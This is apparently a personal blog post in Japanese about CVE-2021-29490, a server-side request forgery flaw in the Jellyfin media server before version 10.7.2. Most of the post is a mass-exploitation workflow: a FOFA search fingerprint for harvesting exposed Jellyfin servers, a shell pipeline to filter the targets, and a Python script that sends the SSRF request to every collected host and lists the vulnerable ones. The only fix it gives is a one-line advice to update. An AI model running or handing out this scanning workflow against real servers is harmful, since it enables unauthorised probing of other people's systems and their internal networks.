xfeng

xfeng

健身 技术 阅读 思考 记录
tg_channel
tg_channel
github
bilibili
tg_channel

CVE-2021-29490-Jellyfin-SSRF

漏洞概要#

Jellyfin は、メディアの管理とストリーミングを制御することができるフリーソフトウェアのメディアシステムです。これは、専用のサーバーからエンドユーザーのデバイスにメディアを提供するための複数のアプリケーションを介して、Emby や Plex の代替となるものです。Jellyfin は、Emby 3.5.2 の後継であり、完全なクロスプラットフォームサポートをサポートするために.NET Core フレームワークに移植されました。追加の条件はありません。単にチームがより良いものを構築し、すべてのユーザーが最高のメディアシステムにアクセスできるようにするために共同で取り組んでいるだけです。

Jellyfin RemoteImageController.cs ファイルには、SSRF 脆弱性が存在し、特殊なリクエストを構築することで内部ネットワーク情報を探知することができます。

影響を受けるバージョン#

Jellyfin < 10.7.2

脆弱性の再現#

fofa 検索エンジンのフィンガープリントは次のとおりです:"Jellyfin" && port="8096"。 Fofa 采集工具.exe を使用してアセットを一括収集します。

202208131807665

収集されたアセットの結果は、同じディレクトリに result.csv ファイルとして保存されます。

202208131805587

シェルコマンドを使用して IP またはドメインをフィルタリングします。

cat result.csv | awk -F "," '{print $2}' | httpx >> Jellyfin.txt

次に、Python スクリプトを使用して一括で検証します。

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def Jellyfin():
    with open("Jellyfin.txt") as file:
        for line in file:
            vuln_url = line + "/Images/Remote?imageUrl=http://www.baidu.com"

            try:
                response = requests.get(url=vuln_url, verify=False, timeout=10)
                if response.status_code == 200:
                    print(vuln_url)
                else:
                    pass
                    continue
            except Exception as e:
                pass
                #print(e)
                continue

def main():
    Jellyfin()

if __name__ == '__main__':
    main()

202208131805466

脆弱性の修正#

バージョンを更新してください。

参考リンク#

SSRF 脆弱性については、次の記事を参照してください:

Web 安全之 SSRF 漏洞

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。